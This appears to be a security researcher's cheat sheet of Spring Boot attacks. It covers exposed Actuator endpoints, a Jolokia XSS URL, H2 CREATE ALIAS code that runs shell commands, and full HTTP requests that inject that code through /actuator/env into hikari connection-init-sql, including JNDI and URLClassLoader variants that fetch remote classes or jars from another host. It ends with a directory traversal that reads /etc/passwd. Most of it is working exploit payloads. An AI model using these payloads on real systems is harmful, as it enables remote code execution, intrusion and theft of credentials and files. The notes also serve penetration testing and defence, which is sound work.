Spring Boot Vulnerability (Keep On Updating)
0x01 Spring Boot Actuator Exposed
Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available:
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/autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.
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/beans - Displays a complete list of all the Spring beans in your application.
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/configprops - Displays a collated list of all @ConfigurationProperties.
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/dump - Performs a thread dump.
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/heapdump - JVM heap dump information. Actually it is a binary file, you can utilize the tool named
MemoryAnalyzerto analyze the file. Sometimes in this file maybe you can findPASSWORD / ACCESS_KEY / COOKIES / ACCESS_TOKENor some sensitive information. -
/env - Exposes properties from Spring's ConfigurableEnvironment.
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/health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated).
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/info - Displays arbitrary application info.
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/metrics - Shows 'metrics' information for the current application.
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/mappings - Displays a collated list of all @RequestMapping paths.
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/shutdown - Allows the application to be gracefully shutdown (not enabled by default).
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/pause - Allows the application to be gracefully pause (not enabled by default).
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/resume - Allows the application to be gracefully resume (not enabled by default).
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/trace - Displays trace information (by default the last few HTTP requests).
0x02 Spring Boot RCE/XSS involving Jolokia
0x001 Jolokia RCE
0x002 Jolokia XSS fixed since Jolokia 1.5.0 (CVE-2018-1000129)
pom.xml
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.4.0</version>
</dependency>
When visiting URL http://127.0.0.1:10090/actuator/jolokia/read%3Csvg%20onload=alert('xss')%3E?mimeType=text/html
0x03 Spring Boot RCE involving H2 Database JNDI Injection
pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
<version>1.4.2</version>
</dependency>
application.properties
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
You can visit /actutor/env to make sure H2 Console is enabled.
Example 1: Execute open -a Calculator Command
0x04 Spring Boot RCE involving H2 Database ALIAS Command
Example 1: Execute id Command
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECMD('id')
Example 2: Execute open -a Calculator Command
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;
CALL EXECMD('open -a Calculator');
0x05 Spring Boot RCE involving JMX enabled
When visiting URL http://127.0.0.1:10090/actuator/env/spring.jmx.enabled, you will find JMX is enabled.
Example 1: Execute open -a Calculator Command
0x06 Spring Boot RCE involving H2 Database
0x001 Remote Code Execution via spring.datasource.hikari.connection-test-queryorspring.datasource.hikari.connection-init-sql
Example 1: spring.datasource.hikari.connection-init-sql
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 280
{"sourceType": "com.zaxxer.hikari.HikariDataSource","name":"spring.datasource.hikari.connection-init-sql","value":"CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;CALL EXECMD('open -a Calculator');"}
Step 2:
POST /actuator/restart HTTP/1.1
0x002 JNDI Injection
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320
{
"name": "spring.datasource.hikari.connection-init-sql",
"value": "CREATE ALIAS jndi AS $$ import javax.naming.InitialContext;@CODE String jndi(String url) throws Exception {new InitialContext().lookup(url);return null;}$$;CALL jndi('ldap://127.0.0.1:1389/evilObject');"
}
Step 2:
POST /actuator/restart HTTP/1.1
0x003 URL Classloader
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320
{
"name": "spring.datasource.hikari.connection-init-sql",
"value": "CREATE ALIAS remoteUrl AS $$ import java.net.*;@CODE String remoteUrl() throws Exception { Class.forName (\"pop\", true, new URLClassLoader(new URL[]{new URL(\"http://127.0.0.1:9001/pop.jar\")})).newInstance();return null;}$$;CALL remoteUrl()"
}
Step 2:
POST /actuator/restart HTTP/1.1
0x07 Spring Boot RCE involving MyBatis (CVE-2020-26945)
0x08 Spring Boot Actuator Logview Directory Traversal (CVE-2021-21234)
Set Break Piont At securityCheck()
Construct Directory Traversal Request URL
http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
Step Into
Step Into
spring.log/../../../../../ as folder, and /etc/passwd is the file we want
Step Into
In toFile() , the folder spring.log/../../../../../ and the file /etc/passwd will be concated as path without securityCheck()
Retreive the content of file /etc/passwd
